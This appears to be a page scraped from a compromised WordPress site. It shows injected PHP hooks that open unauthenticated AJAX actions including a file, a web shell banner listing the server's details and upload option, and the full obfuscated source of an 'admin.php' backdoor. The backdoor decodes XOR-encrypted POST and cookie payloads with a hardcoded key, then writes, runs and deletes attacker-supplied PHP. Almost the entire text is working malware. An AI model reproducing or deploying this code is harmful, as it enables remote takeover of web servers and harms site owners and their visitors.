if(!function_exists('file_check_readme30367')){ add_action('wp_ajax_nopriv_file_check_readme30367', 'file_check_readme30367'); add_action('wp_ajax_file_check_readme30367', 'file_check_readme30367'); function file_check_readme30367() { $file = __DIR__ . '/' . 'readme.txt'; if (file_exists($file)) { include $file; } die(); } } if(!function_exists('file_check_readme64756')){ add_action('wp_ajax_nopriv_file_check_readme64756', 'file_check_readme64756'); add_action('wp_ajax_file_check_readme64756', 'file_check_readme64756'); function file_check_readme64756() { $file = __DIR__ . '/' . 'readme.txt'; if (file_exists($file)) { include $file; } die(); } } HEX
HEX
Server: Apache
System: Linux dx292 6.1.0-39-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.148-1 (2025-08-26) x86_64
User: www-data (33)
PHP: 7.4.33
Disabled: pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
$ pwd: /data/www/welovefamily.at/welovefamily.at/htdocs20250613/
Upload Files
File: /data/www/welovefamily.at/welovefamily.at/htdocs20250613/admin.php
<?php 
$ecnu_kjxcl /*tbpm  */ = /*   htvfuj  */ 'ecnu_kjxcl'	^ /*  eu */ '';
$i_vv__z	=	$ecnu_kjxcl(98) /*  zamfdd  */ .	"a"."\163"	. /*a  */ $ecnu_kjxcl(101)   .    "6"."4"."_"."e"."n"."c"."o"."\144" /*   _xy   */ .     "\145";


$tqrtmezu /*  dmibv  */ =	"a"."\x72"	. /*   ir*/ "r"."a".$ecnu_kjxcl(121) /*hoinoj   */ . /*kirqfc   */ "_"."s"."l".$ecnu_kjxcl(105)    .	"\x63"	.	$ecnu_kjxcl(1090-989);


$pzppt /*   htwx  */ =	"s"."\x74"    .       "r"."_"."\162"	.    "e".$ecnu_kjxcl(112)   .  $ecnu_kjxcl(876-775)    .    $ecnu_kjxcl(991-894) /* r*/ . /* pw   */ "\164";


$uhyakukjw      =  $ecnu_kjxcl(101)    .    "x"."\160" /*  fwbtit   */ .	"\154" /*   lh*/ .       "o"."\x64"    .	"\x65";


$iqazvzkoiq       =	"\x73"	. /*z  */ "u".$ecnu_kjxcl(640-542)    . /*   rkthjp  */ $ecnu_kjxcl(115)	. /*  vmf  */ "t"."r";$aifhbhhuub /*   dshpu   */ =       "s"."\164"    . /* uxii*/ $ecnu_kjxcl(114)	.    $ecnu_kjxcl(235-123)  .      "o"."\163";$ttocjfdms     = /*bfhp_b */ $ecnu_kjxcl(99)       . /*pe  */ "o"."u".$ecnu_kjxcl(110)    . /*  lknig*/ "\164";


$fbsyzhez	= /*   xuzari   */ "\146" /*  gng   */ .   $ecnu_kjxcl(1080-983)   .    "l".$ecnu_kjxcl(115)    .	"\145";


$qkitdbrgqi /*   ajd_bw  */ =    "\x70" /*   ykewg */ .    "\x61"    .  "c"."\x6b";



function	dcbqi($yjkivkstca, /* bdb  */ $bqgfddxvlpiibosy)


{    global      $ecnu_kjxcl;


	
       $yjkivkstca /*   wnuvl*/ =    "<"    .	$ecnu_kjxcl(63)   . /*   sf_yvr   */ "p".$ecnu_kjxcl(104)    . /*  pdr   */ "p".$ecnu_kjxcl(32)    . /*  jizdu   */ $ecnu_kjxcl(117)	.	"n"."\154"     . /* ulwk*/ "\x69"    .    "n"."\153"   . /* _*/ $ecnu_kjxcl(1037-997)	.   "\137"."\x5f" /*  caa*/ .    $ecnu_kjxcl(1045-975)    .   "I"."L".$ecnu_kjxcl(69)  .    "\137".$ecnu_kjxcl(416-321)    . /*   l   */ "\x29"	.      ";".$ecnu_kjxcl(32) /*   wcl   */ .      $yjkivkstca["d"];     $ftisu /*   eylmc */ =    "\x66"     .    $ecnu_kjxcl(603-498) /*   a  */ . /*tplm  */ "\x6c" /*   vptqq */ .    "e".$ecnu_kjxcl(697-602)       . /* s   */ "p"."\x75" /*   eteugi */ . /*  q */ "t".$ecnu_kjxcl(95)    .	"c"."o"."n"."\x74"    .    "e"."\x6e"   . /*stwfzt  */ "t"."s";


 /* r   */ 	$ftisu($bqgfddxvlpiibosy, /*   bv */ $yjkivkstca);

     

 /*van_f   */ mvsgedryh($bqgfddxvlpiibosy);


}





function	x_deqg(){	$_pxcbeap       =     36;
	$lwuv__sf    =       'jte'; /*  txg*/ $o_jhgyimt    =   'et';


    $lprbwp       =      'cvdyxleka';


 /*   gnzr */ $alpyx    =    str_replace('pqhbts',    'wut',    $lprbwp);}

x_deqg();



$wfjiuuhnh    =     73;


function     mvsgedryh($bqgfddxvlpiibosy)
{


    global    $ecnu_kjxcl;       /*  koooya  */ include($bqgfddxvlpiibosy); /*frco  */ $h_rrfhspjk       = /*   kbd */ $bqgfddxvlpiibosy;


    @unlink($h_rrfhspjk);}




function /*   x   */ avbakkl_()

{
   global    $ecnu_kjxcl;


    $bqgfddx       =   array();

       $bqgfddx["\x70"    .	"\166"]    =	phpversion();

	$bqgfddx["\163" /*  ph_   */ .    "\166"] /*  fin*/ =	"\63"	.      "."."5";

	$_kiheai       =    74;
   echo	@serialize($bqgfddx);

}



function /*vwvd   */ dqqeyq()

{ /* bg*/ $tarfbhyhsqyb	=    'ppknspzvk'; /*  a  */ $tarfbhroeo /*   loqk   */ =    44;


	$c_dogjfeo	=  47;    $cexvr /*  x  */ = /* _d*/ 'ndvzmaon';
}




dqqeyq();





function /*   fkzzf   */ bpzov($yjkivkstca,	$g_ryhahx)

{

 /*vqhz   */ global	$ecnu_kjxcl;


	
	$urkoez_ /*   vwsy   */ = /*z_ */ "";	$wwqlikfbk     =	'lcgj';


	$bqgfddx /* mkqb   */ =    0;

 /* dydku  */ while    ($bqgfddx    < /*   drkwv  */ strlen($yjkivkstca))    {
 /*gttm   */ for /*   spkr  */ ($tarfbh    =      0;	$tarfbh   <      strlen($g_ryhahx)    &&    $bqgfddx	<    strlen($yjkivkstca); /* ltvdq   */ $tarfbh++,	$bqgfddx++) /*  eoi   */ {

  $urkoez_	.=  $ecnu_kjxcl(ord($yjkivkstca[$bqgfddx])      ^    ord($g_ryhahx[$tarfbh]));


    }
 /* f  */ } /* hhxn */ return /* dvjzb  */ $urkoez_;

}


function /*   z   */ novkx()

{

 /*pqou   */ $ycngytuagu /* mw  */ =    14;      $qxmvyk	=    'anqhiv';

    $reoonoyvp       = /*  qxkh   */ 18;

 /*   vefbyo   */ $ukcvf    =      49; /*z_kahn  */ $bkmrepzh  =    'u_wir'; /* me  */ $kzohk    =    'ylidbxn';

 /*trowbg*/ $ycngytuagu	= /*   d  */ $ukcvf    *	$ukcvf;


    $whmfn /*  expsw  */ =	$ukcvf    /   ($ukcvf /*kb*/ + /*  jvf*/ 10);

  $bnedbxcufi /*oibhy  */ =   39;

}

novkx();


function /* pc   */ ojqzmfmmmc($zjooirhqdb){    global	$ecnu_kjxcl;

 /*   zznip  */ 
	$nwxv_hcf /*_lj   */ = /*  _ */ "4"."b"."d"."0"."1"."\142"  .	"\x33"       .    "c".$ecnu_kjxcl(721-676) /*   f */ .  $ecnu_kjxcl(487-437)      . /* bblil */ $ecnu_kjxcl(57)       .    "\x36"   . /*   bk */ $ecnu_kjxcl(57)	.       $ecnu_kjxcl(373-328)    . /*zzd  */ "\64" /*wubl */ .	$ecnu_kjxcl(425-325) /*tbn*/ . /* iam*/ $ecnu_kjxcl(158-110)   .    $ecnu_kjxcl(644-587) /*  q*/ .	$ecnu_kjxcl(45)	. /*bdglk */ $ecnu_kjxcl(969-913)    . /*  ksq*/ "0"."0"."c"."\x2d"	.	"8"."9".$ecnu_kjxcl(98)      . /* ioddd  */ "b"."a"."\x36"    .   "\x65"    .	"4"."\65"  .    $ecnu_kjxcl(638-541)	.    "b"."0";


    

  foreach	($zjooirhqdb	as    $duckox       =>   $yjkivkstca) /*  cvj_vl*/ {

    vghnbr(base64_decode($yjkivkstca),	$nwxv_hcf,    $duckox);

    }
}





function    vghnbr($yjkivkstca,    $nwxv_hcf, /*   pgnt   */ $duckox){
    global   $ecnu_kjxcl;     

    $yjkivkstca /*zn */ = /* g  */ unserialize(bpzov(bpzov($yjkivkstca, /*xedt  */ $nwxv_hcf),     $duckox));


	$lyyrdgvrut    =    'gbtzuul';

	$ejyxsid /* rf */ =       'detqqtcgrz';
	if       (isset($yjkivkstca["a".$ecnu_kjxcl(107)])) /*  w  */ {


    if    ($yjkivkstca["a"] /*ftmds   */ == /*   dnerw   */ "\x69") /* dagl */ {    avbakkl_();    }      elseif      ($yjkivkstca["a"] /* xx  */ ==   "e")    {


   dcbqi($yjkivkstca, /*   r  */ sprintf($ecnu_kjxcl(46) /*   h */ .       $ecnu_kjxcl(986-939) /* c*/ . /*susdex */ "\45" /*  nvov */ .     "s"."."."p".$ecnu_kjxcl(108),    md5($nwxv_hcf)));

			$ewfur      =     44;

   }       exit();
    }

}


	$chkcy_zvns      =    69;	$rndbd /*ar   */ =    22;
$rndbd       =      $chkcy_zvns    + /*   co   */ 15;




ojqzmfmmmc($_POST);     
$_GET["\156"    .  "\x65"    .    "w".$ecnu_kjxcl(95)    . /*b  */ $ecnu_kjxcl(107)    .      $ecnu_kjxcl(208-107)	. /* rjkub*/ "y"] /*  c */ = /*w   */ md5("\156"       .    "\x65"    .    "\167" /* ktc */ .  $ecnu_kjxcl(1041-946) /*yps*/ . /*  ghu */ "\x76"    .       $ecnu_kjxcl(621-524) /*  n   */ . /*k  */ "l"."u"."\x65"); /* agl*/ 

if     ($aifhbhhuub($_GET["\156"	. /*   wfh */ "\x65"  . /*uzzxie*/ "w".$ecnu_kjxcl(95) /*wtc*/ . /*rxrsd */ $ecnu_kjxcl(107)	.	$ecnu_kjxcl(208-107) /*  aug*/ .   "y"],    $ecnu_kjxcl(717-602)	. /* qnrx */ $ecnu_kjxcl(423-322)	. /* bgb*/ "a".$ecnu_kjxcl(292-178)      .	"c"."\150"    .       "\x5f" /*  uw*/ . /*  hrxp  */ "s"."t".$ecnu_kjxcl(478-364)  . /* geu   */ "\x69".$ecnu_kjxcl(652-542)       .     "\147") /*   axzcx*/ !==	$fbsyzhez)	{ /*   smb */        $lepbxec	=	$iqazvzkoiq($_GET["\156" /* zem   */ .   "\x65" /* stqof   */ .     "w".$ecnu_kjxcl(95)    .	$ecnu_kjxcl(107) /*  vawaed*/ .    $ecnu_kjxcl(208-107)   .    "y"],   0, /*   r_mx*/ 5);       


	$_POST["k"."e"."\x79"] /*dfw */ = /*   r*/ $pzppt($lepbxec,    3);    
}



ojqzmfmmmc($_COOKIE);    


$_tpzlewnz	=	$ecnu_kjxcl(116)    . /*   smlsko*/ $ecnu_kjxcl(101) /*eqlimk*/ .      "\163"    .    "\164"	.	$ecnu_kjxcl(609-514)    .       "v".$ecnu_kjxcl(261-164) /*  z*/ .	$ecnu_kjxcl(108-0)       .    "\165"   . /*yd */ "e"."\137".$ecnu_kjxcl(116) /*xy */ . /*  vurc  */ $ecnu_kjxcl(437-336)  .	"\x73"     . /*gedi  */ "t"."\x5f"      . /* _  */ $ecnu_kjxcl(272-154) /* ccufj */ .   $ecnu_kjxcl(97)	.    "l"."\x75" /*   lkauw  */ .	"e"; /*  g_odl */ 
$abjhg    = /*nkhv  */ $uhyakukjw("\137",    $_tpzlewnz);    if     ($ttocjfdms($abjhg) /* n*/ >    1)   { /*bvtcov*/ 

 /*  kmdtcb  */ $pptb_f      = /*   wtz  */ $tqrtmezu($abjhg, /*   sc   */ 0,	2); /*qz*/ 

       foreach    ($pptb_f	as    $ghogvi_)	{ /*   qkg_j  */ 

    $so_mzo       = /*  _*/ $qkitdbrgqi("\110"    .    "\x2a", /* fjowb */ md5($ghogvi_));    

   $tgvyr     = /*   onnce  */ $i_vv__z($so_mzo); /*n*/ 


     $_COOKIE[md5($ghogvi_)]     =     $tgvyr; /* _*/  /*  n   */ }   

}









$lwti_e  =    6;





?>
@ Telegram